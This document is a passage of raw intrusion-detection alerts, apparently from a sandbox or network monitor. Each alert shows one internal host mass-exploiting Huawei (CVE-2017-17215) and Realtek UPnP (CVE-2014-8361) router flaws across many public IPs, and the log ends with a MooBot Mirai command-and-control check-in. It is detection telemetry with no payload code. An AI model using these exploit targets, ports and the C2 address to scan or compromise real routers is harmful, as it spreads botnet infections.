SID:	2027339
Source Port:	34948
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.112.133.24

Timestamp:	07/20/24-23:11:06.696229
SID:	2829579
Source Port:	33432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 125.158.123.72

Timestamp:	07/20/24-23:10:52.033727
SID:	2831300
Source Port:	39878
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 155.186.2.88

Timestamp:	07/20/24-23:10:39.114530
SID:	2027339
Source Port:	52890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 116.208.181.41

Timestamp:	07/20/24-23:10:47.864657
SID:	2025132
Source Port:	54104
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.206.83.67

Timestamp:	07/20/24-23:11:06.676715
SID:	2835222
Source Port:	60530
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 86.115.137.64

Timestamp:	07/20/24-23:10:52.045718
SID:	2027339
Source Port:	44108
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 140.79.132.232

Timestamp:	07/20/24-23:10:43.571824
SID:	2025132
Source Port:	33912
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 32.52.148.97

Timestamp:	07/20/24-23:10:42.636830
SID:	2027339
Source Port:	59368
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.236.94.127

Timestamp:	07/20/24-23:10:40.599066
SID:	2829579
Source Port:	52806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.157.26.236

Timestamp:	07/20/24-23:11:06.687949
SID:	2829579
Source Port:	40534
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.27.64.243

Timestamp:	07/20/24-23:10:41.241455
SID:	2835222
Source Port:	33158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.152.141.49

Timestamp:	07/20/24-23:10:46.768902
SID:	2829579
Source Port:	38930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 206.240.160.72

Timestamp:	07/20/24-23:10:46.809208
SID:	2835222
Source Port:	53048
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 97.253.204.115

Timestamp:	07/20/24-23:10:41.233111
SID:	2829579
Source Port:	51938
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 145.210.186.189

Timestamp:	07/20/24-23:10:51.915099
SID:	2027339
Source Port:	59298
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.243.245.128

Timestamp:	07/20/24-23:11:03.365384
SID:	2829579
Source Port:	43214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 23.23.118.153

Timestamp:	07/20/24-23:10:46.734527
SID:	2835222
Source Port:	55890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 166.151.137.80

Timestamp:	07/20/24-23:10:39.493966
SID:	2835222
Source Port:	43782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 158.185.201.45

Timestamp:	07/20/24-23:10:40.658204
SID:	2829579
Source Port:	48632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 208.102.55.155

Timestamp:	07/20/24-23:10:51.984755
SID:	2831300
Source Port:	56148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 139.242.72.156

Timestamp:	07/20/24-23:10:52.549474
SID:	2829579
Source Port:	58564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 135.228.190.116

Timestamp:	07/20/24-23:10:51.950747
SID:	2027339
Source Port:	44106
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 61.53.244.138

Timestamp:	07/20/24-23:10:39.141372
SID:	2027339
Source Port:	42866
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.5.58.230

Timestamp:	07/20/24-23:10:41.227514
SID:	2835222
Source Port:	42428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.115.249.45

Timestamp:	07/20/24-23:10:59.029814
SID:	2835222
Source Port:	37284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.15.103.7

Timestamp:	07/20/24-23:11:03.361094
SID:	2835222
Source Port:	59526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.113.148.221

Timestamp:	07/20/24-23:10:46.735704
SID:	2835222
Source Port:	53204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 223.10.231.163

Timestamp:	07/20/24-23:10:39.841312
SID:	2025132
Source Port:	45616
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 1.160.86.11

Timestamp:	07/20/24-23:10:39.828524
SID:	2027339
Source Port:	46618
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 68.235.64.147

Timestamp:	07/20/24-23:10:51.950529
SID:	2027339
Source Port:	46638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 114.103.82.126

Timestamp:	07/20/24-23:10:47.974293
SID:	2025132
Source Port:	46652
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 150.96.143.155

Timestamp:	07/20/24-23:10:46.829468
SID:	2829579
Source Port:	58720
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 190.165.188.75

Timestamp:	07/20/24-23:10:52.555606
SID:	2835222
Source Port:	52722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.43.141.207

Timestamp:	07/20/24-23:11:03.382352
SID:	2835222
Source Port:	51002
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.177.116.18

Timestamp:	07/20/24-23:10:40.608330
SID:	2829579
Source Port:	35480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.189.66.214

Timestamp:	07/20/24-23:11:06.689939
SID:	2829579
Source Port:	56614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.169.40.175

Timestamp:	07/20/24-23:10:39.479939
SID:	2835222
Source Port:	43226
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 68.232.135.127

Timestamp:	07/20/24-23:10:47.766015
SID:	2027339
Source Port:	35640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.31.78.156

Timestamp:	07/20/24-23:10:40.650979
SID:	2835222
Source Port:	36556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 13.3.106.56

Timestamp:	07/20/24-23:10:40.373501
SID:	2025132
Source Port:	54092
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.243.62.202

Timestamp:	07/20/24-23:10:40.650979
SID:	2829579
Source Port:	40270
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.120.253.61

Timestamp:	07/20/24-23:11:03.381593
SID:	2835222
Source Port:	37798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.31.117.19

Timestamp:	07/20/24-23:11:06.687949
SID:	2835222
Source Port:	43908
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 92.195.216.129

Timestamp:	07/20/24-23:10:51.955556
SID:	2831300
Source Port:	53488
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 54.133.250.242

Timestamp:	07/20/24-23:10:52.047769
SID:	2027339
Source Port:	49114
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 170.182.31.89

Timestamp:	07/20/24-23:10:46.832505
SID:	2829579
Source Port:	56972
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 64.161.87.250

Timestamp:	07/20/24-23:10:40.644796
SID:	2835222
Source Port:	36006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.205.44.138

Timestamp:	07/20/24-23:11:06.657863
SID:	2835222
Source Port:	40578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 54.88.153.73

Timestamp:	07/20/24-23:11:06.689532
SID:	2835222
Source Port:	38992
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 38.143.90.107

Timestamp:	07/20/24-23:10:43.452777
SID:	2025132
Source Port:	33710
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 124.162.226.185

Timestamp:	07/20/24-23:11:03.352491
SID:	2829579
Source Port:	50358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 132.67.102.180

Timestamp:	07/20/24-23:10:47.599583
SID:	2025132
Source Port:	35308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.128.51.72

Timestamp:	07/20/24-23:10:56.039438
SID:	2835222
Source Port:	52930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 80.66.53.41

Timestamp:	07/20/24-23:10:39.400634
SID:	2027339
Source Port:	60644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.89.121.43

Timestamp:	07/20/24-23:10:40.658204
SID:	2829579
Source Port:	40044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.130.80.223

Timestamp:	07/20/24-23:10:46.735704
SID:	2835222
Source Port:	37538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 172.149.150.175

Timestamp:	07/20/24-23:10:51.917055
SID:	2027339
Source Port:	46912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.175.136.160

Timestamp:	07/20/24-23:11:03.406798
SID:	2835222
Source Port:	50432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 186.136.242.161

Timestamp:	07/20/24-23:10:52.061682
SID:	2831300
Source Port:	50088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.156.237.149

Timestamp:	07/20/24-23:11:03.365385
SID:	2835222
Source Port:	39670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.146.154.155

Timestamp:	07/20/24-23:10:39.487319
SID:	2835222
Source Port:	46082
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.90.115.179

Timestamp:	07/20/24-23:10:42.255257
SID:	2835222
Source Port:	59268
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 120.88.21.240

Timestamp:	07/20/24-23:11:06.696228
SID:	2829579
Source Port:	57266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 73.163.96.192

Timestamp:	07/20/24-23:10:39.155871
SID:	2025132
Source Port:	47922
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 130.31.106.211

Timestamp:	07/20/24-23:10:51.937938
SID:	2027339
Source Port:	49240
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 129.180.104.22

Timestamp:	07/20/24-23:10:56.007995
SID:	2829579
Source Port:	45080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 170.114.65.210

Timestamp:	07/20/24-23:11:06.663147
SID:	2829579
Source Port:	58606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 61.200.31.129

Timestamp:	07/20/24-23:10:46.940043
SID:	2027339
Source Port:	39288
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 143.186.214.112

Timestamp:	07/20/24-23:10:52.021521
SID:	2831300
Source Port:	37376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.131.191.105

Timestamp:	07/20/24-23:10:49.447315
SID:	2835222
Source Port:	43922
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 24.231.54.99

Timestamp:	07/20/24-23:10:42.620951
SID:	2831300
Source Port:	58956
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.5.164.72

Timestamp:	07/20/24-23:10:39.478846
SID:	2829579
Source Port:	49010
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 93.87.50.30

Timestamp:	07/20/24-23:10:52.021521
SID:	2027339
Source Port:	54752
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 102.119.6.178

Timestamp:	07/20/24-23:10:39.181280
SID:	2027339
Source Port:	41986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.219.131.182

Timestamp:	07/20/24-23:11:06.662676
SID:	2829579
Source Port:	56732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 146.67.192.198

Timestamp:	07/20/24-23:10:43.064770
SID:	2027339
Source Port:	47902
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 125.197.181.211

Timestamp:	07/20/24-23:10:49.430121
SID:	2835222
Source Port:	46506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 37.148.82.96

Timestamp:	07/20/24-23:11:06.696229
SID:	2835222
Source Port:	38496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 32.89.4.217

Timestamp:	07/20/24-23:10:59.011093
SID:	2829579
Source Port:	59244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.240.6.148

Timestamp:	07/20/24-23:10:52.558618
SID:	2829579
Source Port:	45628
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 223.170.119.134

Timestamp:	07/20/24-23:10:40.642616
SID:	2835222
Source Port:	56460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 119.144.252.148

Timestamp:	07/20/24-23:11:03.339788
SID:	2829579
Source Port:	43930
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.206.88.10

Timestamp:	07/20/24-23:11:03.378926
SID:	2835222
Source Port:	48338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.15 - Destination IP: 184.222.232.77

Timestamp:	07/20/24-23:10:43.232770
SID:	2025132
Source Port:	42922
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.229.104.117

Timestamp:	07/20/24-23:10:49.420934
SID:	2835222
Source Port:	48458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 206.250.243.12

Timestamp:	07/20/24-23:10:47.558856
SID:	2027339
Source Port:	34736
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.62.82.205

Timestamp:	07/20/24-23:10:41.248342
SID:	2829579
Source Port:	54130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 47.2.9.114

Timestamp:	07/20/24-23:10:52.008043
SID:	2831300
Source Port:	34792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.58.251.46

Timestamp:	07/20/24-23:10:40.607363
SID:	2829579
Source Port:	59396
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.5.98.73

Timestamp:	07/20/24-23:10:59.021280
SID:	2829579
Source Port:	58006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.150.96.161

Timestamp:	07/20/24-23:10:59.028826
SID:	2835222
Source Port:	60378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.155.105.181

Timestamp:	07/20/24-23:10:52.549474
SID:	2835222
Source Port:	56220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 157.88.156.88

Timestamp:	07/20/24-23:10:40.658204
SID:	2829579
Source Port:	33750
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.208.56.128

Timestamp:	07/20/24-23:10:41.231287
SID:	2829579
Source Port:	47936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.10.159.159

Timestamp:	07/20/24-23:10:49.425318
SID:	2829579
Source Port:	34702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.15 - Destination IP: 154.174.121.129

Timestamp:	07/20/24-23:10:47.971532
SID:	2027339
Source Port:	60836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 222.95.36.229

Timestamp:	07/20/24-23:10:51.983128
SID:	2831300
Source Port:	34926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 197.208.205.254

Timestamp:	07/20/24-23:10:46.735703
SID:	2835222
Source Port:	38522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.15 - Destination IP: 41.203.9.22

Timestamp:	07/20/24-23:11:06.683012
SID:	2829579
Source Port:	46472
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.15 - Destination IP: 15.235.203.214

Timestamp:	07/20/24-23:11:05.706237
SID:	2030490
Source Port:	32950
Destination Port:	2466
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.15 - Destination IP: 14.134.150.109

Timestamp:	07/20/24-23:10:42.632104
SID:	2831300
Source Port:	50042
Destination Port:	52869
Protocol:	TCP
